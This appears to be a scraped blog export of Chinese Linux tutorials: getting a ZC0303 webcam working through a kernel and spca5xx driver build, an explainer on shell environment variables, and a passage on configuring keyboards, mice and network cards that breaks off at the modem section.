usb\nusb_device_0_0_0000_00_1d_0\nusb_device_0_0_0000_00_1d_0_if0\nusb_device_4fc_3_noserial\nusb_device_4fc_3_noserial_if0\nusb_device_4fc_3_noserial_if0_logicaldev_input\nusb_device_4fc_3_noserial_usbraw\nusb_device_0_0_0000_00_1d_0_usbraw\nusb_device_0_0_0000_00_1d_1\nusb_device_0_0_0000_00_1d_1_if0\nusb_device_ac8_303b_noserial\nusb_device_ac8_303b_noserial_if0\nusb_device_ac8_303b_noserial_usbraw\nusb_device_ac8_303b_noserial_video4linux\nusb_device_0_0_0000_00_1d_1_usbraw\nusb_device_0_0_0000_00_1d_2\nusb_device_0_0_0000_00_1d_2_if0\nusb_device_0_0_0000_00_1d_2_usbraw\nusb_device_0_0_0000_00_1d_7\nusb_device_0_0_0000_00_1d_7_if0\nusb_device_0_0_0000_00_1d_7_usbraw\n我们看到带有video4linux字样的，他的设备号是 usb_device_ac8_303b_noserial_video4linux字样的，在其前面还有几个差不多的编号的设备。比如 usb_device_ac8_303b_noserial。我们就先查这个设备，大多数这样的一组相似的设备号，查第一个就能知道是什么设备。于是用。。\n[root@localhost ~]# lshal -l -u usb_device_ac8_303b_noserial\nudi = '/org/freedesktop/Hal/devices/usb_device_ac8_303b_noserial'\n\u0026nbsp;\u0026nbsp; info.udi = '/org/freedesktop/Hal/devices/usb_device_ac8_303b_noserial' (string)\n\u0026nbsp;\u0026nbsp; linux.subsystem = 'usb' (string)\n\u0026nbsp;\u0026nbsp; linux.hotplug_type = 1 (0x1) (int)\n\u0026nbsp;\u0026nbsp; usb_device.bus_number = 3 (0x3) (int)\n\u0026nbsp;\u0026nbsp; usb_device.can_wake_up = false (bool)\n\u0026nbsp;\u0026nbsp; usb_device.is_self_powered = false (bool)\n\u0026nbsp;\u0026nbsp; usb_device.version_bcd = 272 (0x110) (int)\n\u0026nbsp;\u0026nbsp; usb_device.speed_bcd = 4608 (0x1200) (int)\n\u0026nbsp;\u0026nbsp; usb_device.linux.device_number = 2 (0x2) (int)\n\u0026nbsp;\u0026nbsp; usb_device.num_ports = 0 (0x0) (int)\n\u0026nbsp;\u0026nbsp; usb_device.max_power = 160 (0xa0) (int)\n\u0026nbsp;\u0026nbsp; usb_device.device_revision_bcd = 256 (0x100) (int)\n\u0026nbsp;\u0026nbsp; info.product = 'ZC0303 WebCam' (string)\n\u0026nbsp;\u0026nbsp; usb_device.product = 'ZC0303 WebCam' (string)\n\u0026nbsp;\u0026nbsp; info.vendor = 'Z-Star Microelectronics Corp.' (string)\n\u0026nbsp;\u0026nbsp; usb_device.vendor = 'Z-Star Microelectronics Corp.' (string)\n\u0026nbsp;\u0026nbsp; usb_device.product_id = 12347 (0x303b) (int)\n\u0026nbsp;\u0026nbsp; usb_device.vendor_id = 2760 (0xac8) (int)\n\u0026nbsp;\u0026nbsp; usb_device.device_protocol = 0 (0x0) (int)\n\u0026nbsp;\u0026nbsp; usb_device.device_subclass = 0 (0x0) (int)\n\u0026nbsp;\u0026nbsp; usb_device.device_class = 255 (0xff) (int)\n\u0026nbsp;\u0026nbsp; usb_device.num_interfaces = 1 (0x1) (int)\n\u0026nbsp;\u0026nbsp; usb_device.num_configurations = 1 (0x1) (int)\n\u0026nbsp;\u0026nbsp; usb_device.configuration_value = 1 (0x1) (int)\n\u0026nbsp;\u0026nbsp; usb_device.linux.sysfs_path = '/sys/devices/pci0000:00/0000:00:1d.1/usb3/3-1' (string)\n\u0026nbsp;\u0026nbsp; info.linux.driver = 'usb' (string)\n\u0026nbsp;\u0026nbsp; info.bus = 'usb_device' (string)\n\u0026nbsp;\u0026nbsp; info.parent = '/org/freedesktop/Hal/devices/usb_device_0_0_0000_00_1d_1' (string)\n\u0026nbsp;\u0026nbsp; linux.sysfs_path_device = '/sys/devices/pci0000:00/0000:00:1d.1/usb3/3-1' (string)\n\u0026nbsp;\u0026nbsp; linux.sysfs_path = '/sys/devices/pci0000:00/0000:00:1d.1/usb3/3-1' (string) 这回应该详细了吧。看上面的设备是哪个厂出品的？\nusb_device.vendor_id = 2760 (0xac8) (int)\nusb_device.product_id = 12347 (0x303b) (int)\ninfo.product = \u0026#8216;ZC0303 WebCam\u0026#8217; (string)\ninfo.vendor = \u0026#8216;Z-Star Microelectronics Corp.\u0026#8217; (string)\nusb_device.product_id = 12347 (0x303b) (int)\n在Gnome桌面环境下，还用hal-gnome软件包工具可用；您可以通过下面的方式来安装此软件包\n[root@localhost ~]# yum install hal-gnome 然后运行hal-device-manager工具；\n[root@localhost ~]# hal-device-manager 点鼠标查看摄像头的详细信息还是没有问题吧。\n关于hal的相关知识：《Fedora Core 4.0 HAL配置即插即用移动存储（USB及1394）的实践》\n2.2 根据摄像头信息到驱动网站对号入座；\n请参见： http://mxhaard.free.fr/spca5xx.html\n请注意：这两个最重要的信息，也驱动网址摄像头芯片所对应地址对号入座，如果这张列表上没有摄像头，可能您得等一等了。不过也不是绝对的，给开发者捐赠一个不被支持的摄像头，肯定能解决。驱动开发者有捐赠主页，不妨捐一个看看。\nusb_device.vendor_id = 2760 (0xac8) (int)\nusb_device.product_id = 12347 (0x303b) (int) 比如我的这款摄像头，在其网站上，显示为支持。\n2.3 摄像头驱动的选择；\nspca5xx-20060501.tar.gz\n对于Fedora Core 5.0 4.0 摄像头驱动RPM包：\n其实在Fedora Core 5.0 中已经有这款驱动的RPM包了，但我尝试后发现根本不能用。如果您也想尝试RPM包，请到下面的网址去下载；或用YUM在线安装也行，不过得设置YUM的源；请参考：《关于Fedora Core 5.0 通过Yum在线升级说明》\nhttp://mirrors.ircam.fr/pub/atrpms/fc5-i386/atrpms/RPMS.testing\n如果是Fedora 4.0的，就到下面的地址去下载；\nhttp://mirrors.ircam.fr/pub/atrpms/fc4-i386/atrpms/RPMS.testing/\n首先：要看自己的内核版本，然后再下载；\n[root@localhost ~]# uname -r -i 其次：下载软件包选择；\n下载spca5xx开头的，要安装两个包左右，一个是 spca5xx-kmdl，另一个是 video4linux-kmdl，还有一个是 video4linux-kernheaders。根据软件包的时间、版本、内核版本对照下载安装。这方面不能说的太多。自己试试看，我是没有成功。\n2.4 下载并编译内核；\n由于RPM包安装上也不可用，所以我采用的是源码包安装的方法，当然因为我用的是比较新的内核，2.6.16.19。所以这个文档就是通用性了。源码包安装大多都差不多。所以其它发行版本也可以做为参考。\n2.41 下载内核；\n我测试摄像头所用的内的内核版本是 2.6.16.19；\nlinux-2.6.16.19.tar.bz2\n下载内核配置文件：\n我从Slackware的FTP上，找到了2.6.16.19的配置文件。请到这里下载；kernel261619.txt\n2.42 编译内核；\n第一步：解压内核软件包；\n[root@localhost ~]# tar jxvf linux-2.6.16.19.tar.bz2\n[root@localhost ~]# mv linux-2.6.16.19 /usr/src 把下载下来的内核配置文件改名复制到 /usr/src/linux-2.6.16.19\n[root@localhost ~]# cp kernel261619.txt /usr/src/linux-2.6.16.19/.config 第二步：编译内核；\n[root@localhost ~]# cd /usr/src/linux-2.6.16.19/\n[root@localhost linux-2.6.16.19]# make\n[root@localhost linux-2.6.16.19]# make modules_install\n[root@localhost linux-2.6.16.19]# make install 第三步：查看/boot/grub/menu.lst文件；\n一般的情况下，make install 安装内核后，系统会把启动写入GRUB的配置文件。/boot/grub/menu.lst。您可以看到有类似如下的一段；\ntitle Fedora Core (2.6.16.19)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; root (hd0,6)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; kernel /boot/vmlinuz-2.6.16.19 ro root=LABEL=/1 rhgb quiet\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; initrd /boot/initrd-2.6.16.19.img 对于其它发行版本，您可以修改menu.lst文件。修改方法，请参见：《系统引导管理器GRUB，为初学者指南》\n2.5 编译摄像头驱动程序；\n在编译摄像头驱动的前题是，我们要用2.6.16.19这个内核来启动系统，然后在 2.6.16.19内核系统环境下编译摄像头驱动；\n2.51 下载摄像头驱动；\nhttp://mxhaard.free.fr\nspca5xx-20060501.tar.gz\n2.52 解压编译；\n再说一点，可能在编译的过程中需要各种开发库和或开发工具之类的，比如gcc、make、automake等，您要懂得自己把这些东西安装上；少什么就安装什么吧。\n[root@localhost ~]# tar zxvf spca5xx-20060501.tar.gz\n[root@localhost ~]# cd spca5xx-20060501\n[root@localhost spca5xx-20060501]# make\n[root@localhost spca5xx-20060501]# make install\n[root@localhost spca5xx-20060501]# depmod -a\n[root@localhost spca5xx-20060501]# modprobe spca5xx 看看驱动模块挂载好了没有?\n[root@localhost spca5xx-20060501]# lsmod |grep spca5xx\nspca5xx 659920 0\nvideodev 7040 1 spca5xx 我们再查看一下设备/dev/video0是否存在？\n[root@localhost spca5xx-20060501]# ls -lh /dev/video0\ncrw------- 1 beinan root 81, 0 06-08 09:33 /dev/video0 3、摄像头应用程序 SpcaView；\n3.1 SpcaView 软件包，包括一组工具；\nspcaview工具是用来纪录数据流，也能用来播放数据；\nspcaserv 是流媒体服务器；\nspcacat 简单图片的抓取工具；\nSpcaView 下载和安装；\n下载地址： http://mxhaard.free.fr/spca50x/Download ，我下载的是目前这个版本：spcaview-20051212.tar.gz 依赖关系；\n此软件依赖 libsdl，要先安装它才行，下载地址：http://www.libsdl.org ，我下载的是：SDL-1.2.10.tar.gz\nhttp://www.libsdl.org/download-1.2.php\n[root@localhost ~]# tar zxvf SDL-1.2.10.tar.gz\n[root@localhost ~]# cd SDL-1.2.10\n[root@localhost SDL-1.2.10]# ./configure ; make ;make install 安装SpcaView：\n[root@localhost ~]# tar zxvf spcaview-20051212.tar.gz\n[root@localhost ~]# cd spcaview-20051212\n[root@localhost spcaview-20051212]# make ; make install 配置可执行程序的路径：\n可执行的工具被安装到 /usr/local/bin目录中，所以我们还要配置一下用户的环境变量PATH 。配置命令执行路径，在当前用户家目录下的.bashrc文件中加入下面的一行； export PATH=\u0026quot;.:/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/X11R6/bin\u0026quot; 然后运行如下命令；\n[root@localhost ~]# source .bashrc 关于路径的配置，请参考：《Linux 命令及可执行程序路径的设置》 ；《关于Linux 文件系统中路径的理解》\n3.2 通用spcaview来测试摄像头；\n[root@localhost ~]# spcaview -d /dev/video0 -f jpg -s 320x240 如果您想看的图像分辨率，可以调整 -s后面的参数，比如 640\u0026#215;480\n如果抓取数据流，尝试用下面的命令，比如我们把抓取的数据流存在一个linuxsir.org.avi文件中；如果想播放，就用mplayer就行，xine也可以。\n[root@localhost ~]# spcaview -f yuv -o linuxsir.org.avi 看一下图吧：\n更多的帮助： http://mxhaard.free.fr/sview.html\n4 即时通讯工具；\n即时通讯工具在 Linux 视频下比较少，其中有aMSN，不过aMSN虽然能简单的应用，但如果您的机器是接在路由器或防火墙之后，还要配置端口转发。由于我的路由器功能比较差，所以没有发现有哪块配端口转发。不过在公司内部局域网和同事聊天还是能用看到对方的。Mercury 也是MSN的客户端，需要Java虚拟机支持，安装起来有点麻烦。我在Fedora 5.0 Core 中没有安装成功。如果您想安装尝试，请自行安装一下。如果有问题，咱们再交流；\n4.1 aMSN ;\n主页：http://amsn.sourceforge.net\naMSN 支持视频，不过在路由器或防火墙后的计算机需要配置路由器。我和公司同事聊天测试，无需配置路由器。由于我的路由器功能比较简单，还没有找到相应的选项。看两张图吧；\u0026mdash;\u0026mdash; 2006.06.08 北南南北；\n今天（2006.06.10），我换了一个路由器，总算把这个问题测试成功了；在路由器上找到 有ip forward 类似的选项，要把 6890 \u0026#8211; 6900转发到您所用的计算机上上的端口上，协议是TCP/UDP。比如我用的计算机的IP地址是：192.168.1.3；我的路由器上有NAT 选项，我在NAT中的防火墙规则中设置的。也就是把 来自WAN的数据流，协议TCP/UDP ，端口 6890 \u0026#8211; 6900，转发到 192.168.1.3 机器上的 6890 \u0026#8211; 6900。\u0026mdash;\u0026mdash; 2006.06.08 北南南北；\n4.2 Mercury (MSN客户端）\n主页： http://www.mercury.to\n4.3 Gaimvv ；\n主页： http://gaim-vv.sourceforge.net\nGaim-vv 包含支持YahooMessager 视频功能；目前Gaimvv已停止开发，据说在未来的Gaim 2.x中要做为重点开发；Gaim-vv效果还是不错的，遗憾的是只支持 YahooMessager 视频。我测试了 Gaim-vv 的YahooMessager 视频，性能还比较不错，对系统资源占用相对来说较少。\n5、未尽事宜；\n6、关于本文；\n前年为了测试在Linux下是否能用摄像头，买了一个摄像头，由于没有驱动，被迫放弃。那个摄像头也没用几次就报废了。白白费掉一百多RMB。这次又去电子城，顺便弄回一只，这次的运气应该比上次要好的多，毕竟能驱动起来。虽然在Linux 中支持摄像头的程序不太多，我感觉只所以出现这样的情况，就是因为摄像头的驱动程序太少了。这次一个法国的老兄出手了，据说能N多芯片的。。。。。。。这是一个开头，并不是结局。好事在后头呢；\n7、更新日志；\n2006.06.08 0.1b 完成正文；\n8、参考文档；\nhttp://mxhaard.free.fr\n","permalink":"https://hessian.cn/p/599.html","summary":"作者：北南南北\n来自：LinuxSir.Org\n摘要：本文主要内容是摄像头（WebCam）在Linux操作系统中的驱动方法；本文是以源码码编译的方法来安装驱动程序的；虽然能把摄像驱动起来，但缺少好的视频聊天程序。看来只能一步一步的来了。希望就在眼前； 本文正在修正中\u0026#8230;..请指点，谢谢～～\n","title":"[转]摄像头在Linux操作系统中的驱动方法v0.1b"},{"content":"Linux是一个多用户的操作系统。每个用户登录系统后，都会有一个专用的运行环境。通常每个用户默认的环境都是相同的，这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境进行定制，其方法就是修改相应的系统环境变量。\nLinux是一个多用户的操作系统。每个用户登录系统后，都会有一个专用的运行环境。通常每个用户默认的环境都是相同的，这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境进行定制，其方法就是修改相应的系统环境变量。 常见的环境变量 对于PATH和HOME等环境变量大家都不陌生。除此之外，还有下面一些常见环境变量。 ◆ HISTSIZE是指保存历史命令记录的条数。 ◆ LOGNAME是指当前用户的登录名。 ◆ HOSTNAME是指主机的名称，许多应用程序如果要用到主机名的话，通常是从这个环境变量中来取得的。 ◆ SHELL是指当前用户用的是哪种Shell。 ◆ LANG/LANGUGE是和语言相关的环境变量，使用多种语言的用户可以修改此环境变量。 ◆ MAIL是指当前用户的邮件存放目录。 ◆ PS1是基本提示符，对于root用户是#，对于普通用户是$。PS2是附属提示符，默认是\u0026ldquo;\u0026gt;\u0026rdquo;。可以通过修改此环境变量来修改当前的命令符，比如下列命令会将提示符修改成字符串\u0026ldquo;Hello,My NewPrompt :) \u0026rdquo;。 # PS1=\u0026quot; Hello,My NewPrompt :) \u0026quot;\nHello,My NewPrompt :)\n除了这些常见的环境变量，许多应用程序在安装时也会增加一些环境变量，比如使用Java就要设置JAVA_HOME和CLASSPATH等，而安装五笔输入法会增加环境变量\u0026quot;XMODIFIERS=@im=fcitx\u0026quot;等。 定制环境变量 环境变量是和Shell紧密相关的，用户登录系统后就启动了一个Shell。对于Linux来说一般是bash，但也可以重新设定或切换到其它的 Shell。环境变量是通过Shell命令来设置的，设置好的环境变量又可以被所有当前用户所运行的程序所使用。对于bash这个Shell程序来说，可以通过变量名来访问相应的环境变量，通过export来设置环境变量。下面通过几个实例来说明。 1. 显示环境变量HOME $ echo $HOME\n/home/terry\n2. 设置一个新的环境变量WELCOME $ export WELCOME=\u0026quot;Hello!\u0026quot;\n$ echo $WELCOME\nHello!\n3. 使用env命令显示所有的环境变量 $ env\nHOSTNAME=terry.mykms.org\nPVM_RSH=/usr/bin/rsh\nSHELL=/bin/bash\nTERM=xterm\nHISTSIZE=1000\n\u0026#8230;\n4. 使用set命令显示所有本地定义的Shell变量 $ set\nBASH=/bin/bash\nBASH_VERSINFO=([0]=\u0026quot;2\u0026quot;[1]=\u0026quot;05b\u0026quot;[2]=\u0026quot;0\u0026quot;[3]=\u0026quot;1\u0026quot;[4]=\u0026quot;release\u0026quot;[5]=\u0026quot;i386-redhat-linux-gnu\u0026quot;)\nBASH_VERSION=2.05b.0(1)-release\nCOLORS=/etc/DIR_COLORS.xterm\nCOLUMNS=80\nDIRSTACK=()\nDISPLAY=:0.0\n\u0026#8230;\n5. 使用unset命令来清除环境变量 set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值，则该变量值将被设为NULL。示例如下： $ export TEST=\u0026quot;Test\u0026#8230;\u0026quot; #增加一个环境变量TEST\n$ env|grep TEST #此命令有输入，证明环境变量TEST已经存在了\nTEST=Test\u0026#8230;\n$ unset $TEST #删除环境变量TEST\n$ env|grep TEST #此命令没有输出，证明环境变量TEST已经存在了\n6. 使用readonly命令设置只读变量 如果使用了readonly命令的话，变量就不可以被修改或清除了。示例如下： $ export TEST=\u0026quot;Test\u0026#8230;\u0026quot; #增加一个环境变量TEST\n$ readonly TEST #将环境变量TEST设为只读\n$ unset TEST #会发现此变量不能被删除\n-bash: unset: TEST: cannot unset: readonly variable\n$ TEST=\u0026quot;New\u0026quot; #会发现此也变量不能被修改\n-bash: TEST: readonly variable\n7. 用C程序来访问和设置环境变量 对于C程序的用户来说，可以使用下列三个函数来设置或访问一个环境变量。 ◆ getenv()访问一个环境变量。输入参数是需要访问的变量名字，返回值是一个字符串。如果所访问的环境变量不存在，则会返回NULL。 ◆ setenv()在程序里面设置某个环境变量的函数。 ◆ unsetenv()清除某个特定的环境变量的函数。 另外，还有一个指针变量environ，它指向的是包含所有的环境变量的一个列表。下面的程序可以打印出当前运行环境里面的所有环境变量： #include \u0026lt;stdio.h\u0026gt;\nextern char**environ;\nint main ()\n{\nchar**var;\nfor (var =environ;*var !=NULL;++var)\nprintf (\u0026quot;%s n \u0026quot;,*var);\nreturn 0;\n}\n还可以通过修改一些相关的环境定义文件来修改环境变量，比如对于Red Hat等Linux发行版本，与环境相关的文件有/etc/profile和~/.bashrc等。修改完毕后重新登录一次就生效了。\n","permalink":"https://hessian.cn/p/445.html","summary":"Linux是一个多用户的操作系统。每个用户登录系统后，都会有一个专用的运行环境。通常每个用户默认的环境都是相同的，这个默认环境实际上就是一组环境变量的定义。用户可以对自己的运行环境进行定制，其方法就是修改相应的系统环境变量。\n","title":"Linux系统环境变量"},{"content":"级别: 初级\n于辰涛 (scu_yct@263.net), 软件工程师, 联想（北京）电脑公司 2001 年 8 月 01 日\n本文是 《如何在Linux下实现硬件的自动检测》的姊妹篇。将为您介绍在进行了设备检测，通过设备信息文件获得了设备对应的驱动程序，工作参数等信息后，如何对于几种最常见的设备进行配置、生成正确的配置脚本，以使设备正常工作。 Linux下设备的配置过程是指在检测到设备类型、设备当前工作参数等信息之后，使用这些信息来配置设备的驱动程序，工作方式等，（设备的检测过程参见 《如何在Linux下实现硬件的自动检测》）。要完成这样的任务，需要做两方面的工作： 其一是需要一个详尽的设备信息文件，这个文件描述了设备标识、与设备标识对应的设备驱动程序、设备配置参数（设备选项）、设备设置的详细描述、设备配置方法描述、设备对应的别名、设备的主设备号等信息。\n现在的Linux内核中使用kmod来完成设备模块的自动加载，它的一般工作机制是：在第一次引用设备模块时，内核使用系统命令/sbin/modprobe加载这个设备模块。为了使这种机制正常工作，您首先需要使用depmod -a建立表述模块之间依赖关系的文件modules.dep，然后在/etc/modules.conf中设置正确的设备别名（关于/etc/modules.conf的详细介绍参见本文 附录A），如果还需要设置设备对应的参数。举例来说，在设置网卡时网卡的驱动程序是ne2k-pci，网卡的设备别名是eth0，则在文件/etc/modules.conf中加入别名alias eth0 ne2k-pci，就设置了ne2000兼容的PCI网卡，这样当有程序要尝试访问网络时，内核会自动加载网卡驱动程序ne2k-pci。 其二是需要根据设备的类型，以及安装的Linux系统版本（不同的Linux发行版对于同一设备的配置脚本文件存在差异），设置设备对应的配置脚本文件。\n配置键盘\n1.1 配置键盘的设备模块\n对于我们常见的键盘一般有三种类型，其一为老式的五针键盘，其二为ps/2键盘，其三是usb鼠标。对于前两种键盘，一般现在的Linux发行版都把它们需要的设备模块打包入内核，所以无需进行附加的模块插入操作，键盘就能够正常工作。而对于usb类型的键盘，一般而言，要使它正常工作必须先插入对应的设备模块。\n对于usb类型的键盘，您若是要通过手动加载模块的方式使其工作，必须首先插入usb桥接器模块，然后您还必须插入键盘模块usbkbd.o，以及keybdev.o，这样usb键盘才能够正常工作。此时，运行的系统命令： /sbin/modprobe usbkbd\n/sbin/modprobe keybdev 对于2.2.x系列的内核若要内核的kmod在需要时自动加载则必须在/etc/modules.conf文件中设置别名usb-interface，它对应您所使用的桥接器模块。例如，当桥接器的类型为UHCI时，在/etc/modules.conf中加入设备别名： alias usb-interface usb-uhci 对于2.4.x系列的内核，此设备别名则变为： alias usb-controller usb-uhci 在设置了此别名之后，系统启动时会自动进行usb设备检测。当检测过程发现连结的设备是系统支持的，那么系统会自动插入所需的模块。 1.2 键盘配置文件\n键盘的配置文件/etc/sysconfig/keyboard，它的内容很简单，可选配置项为KEYTABLE（随着发行版本的不同这个文件的内容会有所差异，但是这个字段是最重要的）。例如，当设置KEYTABLE = \u0026quot;us\u0026quot;时，表示系统使用美式键盘。\n然后，为了正确的使用键盘上的功能键，您还需要调用命令dumpkeys生成文件/etc/sysconfig/console/default.kmap。 /usr/bin/dumpkeys \u0026gt; /etc/sysconfig/console/default.kmap 这个文件描述了键盘的键盘扫描码和加入键盘修饰之后的键盘的相应的键盘扫描码。 同样，为了键盘能在X系统环境下正常工作，您可能也需要在X系统下对键盘进行设置，这时您就必须使用xmodmap来设置正确的键盘映射。例如， /usr/X11R6/bin/xmodmap /usr/share/xmodmap/xmodmap.fr 设置您的X系统下的键盘为法语键盘。 在正确的配置了/etc/sysconfig/keyboard文件之后，X系统的配置程序会根据此文件的信息配置X中关于键盘配置的小节。当此文件内容不正确或者是此文件不存在时，X系统是无法启动和配置的。\n回页首 配置鼠标\n2.1 鼠标的基本信息\nLinux支持四种不同的总线鼠标硬件接口：Inport（Microsoft），Logitech，PS/2和ATI-XL。2.4内核也支持IBM PC110数字化板和Apple Desktop鼠标。\nInport mice Inport mice包含大多数旧类型的微软鼠标。Inport mice通常连接到主板的接口卡上。假如鼠标线连接头是圆的，有9针，则可能是Inport mice。 Logitech mice PS/2 mice ATI combo video/mice IBM PC110 palmtop digitizer Apple Desktop Mouse Hybrid Mice 对于鼠标协议，大多数总线鼠标使用BusMouse协议，一些古老的Logitech鼠标使用MouseSystems协议，而一些更老的微软鼠标使用Logitech协议。PS/2鼠标总是使用PS/2协议。\n不同类型的鼠标对应的设备文件：\n表2-1\n接口类型 设备 主设备号 次设备号 Logitech /dev/logibm 10 0 PS/2 /dev/psaux 10 1 Inport /dev/inportbm 10 2 ATI-XL /dev/atibm 10 3 USB mouse /dev/input/mice 13 63 创建对应设备的命令：\nmknod /dev/logimm c 10 0\nmknod /dev/psaux c 10 1\nmknod /dev/inportbm c 10 2\nmknod /dev/atibm c 10 3\nmknod /dev/input/mice c 13 63\n在创建了鼠标对应的设备文件之后，因为现在很多程序都使用/dev/mouse作为缺省的鼠标设备文件，所以为了使鼠标正常工作你还要创建一个符号连接 /dev/mouse指向真实的鼠标设备文件。例如，对于ps/2鼠标，/dev/mouse指向/dev/psaux，对于usb鼠标， /dev/mouse/指向/dev/input/mice，对于串口鼠标/dev/mouse指向/dev/ttyS0。对于不同的linux发行版本，这些文件可能有所不同，上述介绍主要是基于Redhat发布的配置。\n对于现在最常见的三种鼠标：串口鼠标、PS/2鼠标和USB鼠标而言，由于对PS/2鼠标支持一般都打在内核中，所以您也不需要在鼠标工作之前插入设备模块。但对于其他的两种鼠标，插入模块的操作一般是必须的。对于串口鼠标而言，您必须先插入模块serial.o， /sbin/modprobe serial 成功的插入模块之后，如果串口鼠标支持 即插即用的串口协议，您可以从串口（/dev/ttyS*）读到鼠标的类型信息，然后由此信息，完成鼠标的配置文件。对于USB鼠标，为了使其正常工作，您必须先插入模块usbmouse.o和mousedev.o /sbin/modprobe usbmouse\n/sbin/modprobe mousedev 同样，为了使鼠标驱动程序能够自动加载，您也需要在/etc/modules.conf文件中创建usb-interface（usb-controller）别名。\n2.2 鼠标配置文件\n正确配置鼠标必须生成配置文件/etc/sysconfig/mouse，它包括下列选项：MOUSETYPE、XMOUSETYPE、FULLNAME、 XEMU3、DEVICE。该鼠标配置文件也是X配置文件中鼠标配置节的基础。如果没有这个文件，很多X配置程序将无法工作。\nMOUSETYPE= 配置鼠标的类型，包括ps/2、Busmouse、imps2、netmouse、Microsoft、Logitech、MouseMan、MMHitTab、MouseSystems、pnp、logim、ms3、MMSeries等。 XMOUSETYPE= X系统下配置的鼠标的类型，包括MouseMan、IntelliMouse、MMSeries、MMHittab、Logitech、MouseMan、Microsoft、MouseSystems、PS/2、BusMouse等。 FULLNAME= 描述鼠标设备的全名。例如，对于普通PS/2鼠标，其全名为PS/2|Standard。 XEMU3= 是否仿真三键鼠标，可选参数为yes或no。 DEVICE= 描述鼠标对应的设备文件。例如。对于普通PS/2鼠标，设备文件为psaux。 2.3 鼠标的配置技巧\n通过gpm能在命令行方式下使用鼠标。这样在控制台方式下，就可以使用鼠标进行剪贴等操作了。例如，对于ps/2鼠标，它的配置方式是： gpm -t ps/2 -m /dev/psaux 如果不指定-m选项，那么系统会去查找文件/dev/mouse。 鼠标移动不规则可能是因为对鼠标设置了错误的协议。如新的Logitech鼠标不使用Logitech协议，而用微软协议（MouseMan）。如果您的鼠标移动不规则，那您可能首先需要尝试更换一下MouseType（XMouseType）指定的值。 在X系统下，您如果需要更换鼠标的左、右键，那么可以执行xmodmap -e \u0026quot;pointer = 3 2 1\u0026quot;。 回页首 网卡配置过程\n3.1 配置网卡的设备模块\n按照总线类型来分，现在的以太网卡主要有PCI网卡、ISA网卡和PCMCIA网卡。为使这些网卡正常工作，要在/etc/modules.conf中设置设备别名eth0，以及要传递给驱动程序的设备参数。这样内核在需要使用驱动程序时，会由内核服务kmod使用系统命令modprobe（insmod）自动装载需要的设备模块。\n在配置网卡时，如果此网卡能够自动检测，那么您只需要通过设备标识，在设备描述信息文件中查得它对应的设备驱动程序，然后再由此信息配置网卡。但是这种方法对于普通isa总线的ne2000兼容网卡就不适合了，因为它们在设计时一般不满足isapnp规范，因此无法读出它们的设备信息。但是这种类型的网卡一般使用ne作为设备驱动程序，但是为使其正常工作还须指定io地址和占用的irq。\n例如，对于ne2000兼容的isa网卡，比如DE220X，它们的驱动程序为ne。此时要使这种网卡正常工作，需要在/etc/modules.conf文件中加入： alias eth0 ne\noptions ne io=0x300 irq=5 一般而言，对于这种网卡，只有指定了正确的I/O地址空间，网卡才能正常工作。这个地址是和此网卡在DOS下使用的端口地址完全相同的。如果端口地址0x300上不能找到网卡，那么您可以试试0x240等其他地址。\n3.2 网卡配置文件\n要正确的配置网卡必须生成如下脚本文件，/etc/sysconfig/network，/etc/sysconfig/network- scripts/ifcfg-eth0（对于只有一个网卡时，多个网卡为ifcfg-eth1、ifcfg-eth2以此类推）和/etc/hosts。若您还需要配置域名解析服务，那么还要生成文件/etc/resolv.conf。\n对于/etc/sysconfig/network脚本文件，最常用的可设置项包括NETWORKING，FORWARD_IPV4，HOSTNAME， DOMAINNAME，GATEWAY，GATEWAYDEV。注意：在没有配置网卡时，也要设置此文件，以使得本机的回环设备(lo)能够正常工作，此设备是很多linux内部通讯的基础。\nNETWORKING= 表示系统是否使用网络，一般设置为yes。如果设为no，则不能使用网络，而且很多系统服务程序将无法启动。 FORWARD_IPV4= 表示是否支持ipv4的自动转发。一般在只有一块网卡时，设置此项为false。 HOSTNAME= 设置本机的主机名，这里设置的主机名要和/etc/hosts中设置的主机名对应。 DOMAINNAME= 设置本机的域名。 GATEWAY= 设置本机连接的网关的IP地址。例如，网关为10.0.0.2 GATEWAYDEV= 与此网关进行通讯时，所使用的网卡设备别名。例如，当使用了一块网卡，并连接了网关时，此时的值为eth0。 缺省没有网卡时的设置为：\nNETWORKING=\u0026quot;yes\u0026quot;\nFORWARD_IPV4=\u0026quot;false\u0026quot;\nHOSTNAME=\u0026quot;localhost.localdomain\u0026quot;\nDOMAINNAME=\u0026quot;localdomain\u0026quot;\n/etc/sysconfig/network-scripts/ifcfg-*，描述网络接口的信息。每个不同的网络接口对应不同的文件。例如， ifcfg-eth0对应第一块网卡eth0可能出现的配置信息。常见的配置选项包括DEVICE、BOOTPROTO、IPADDR、NETMASK、 NETWORK、BROADCAST、ONBOOT。\nDEVICE= 描述网卡对应的设备别名，例如ifcfg-eth0的文件中它为eth0。 BOOTPROTO= 设置网卡获得ip地址的方式，可能的选项为static，dhcp或bootp，分别对应静态指定的ip地址，通过dhcp协议获得的ip地址，通过bootp协议获得的ip地址。 IPADDR= 如果设置网卡获得ip地址的方式为静态指定，此字段就指定了网卡对应的ip地址。 NETMASK= 网卡对应的网络掩码。 NETWORK= 网卡对应的网络地址。 BROADCAST= 对应的子网广播地址。 ONBOOT= 系统启动时是否设置此网络接口，设置为yes时，系统启动时激活此设备。 /etc/resolv.conf，系统生成这个文件进行域名解析。否则，安装过程的反向名查询无法工作。可能出现的选项： searchdomainName指定的域名 nameserverdnsServer 域名服务器，可以指定多个。 /etc/hosts，将主机名列表加入此文件。 回页首 Modem配置过程\n对于Modem的配置过程而言，我们现在一般使用kppp进行拨号，使用这个程序整个拨号过程将变得非常简单。因此本文就不再介绍使用pppd和chat 进行的手工拨号过程了。本文仅介绍一下如何设置基本的设备驱动模块和底层设备文件的配置。在配置这些文件之后，您就可以使用kppp拨号了。\n4.1 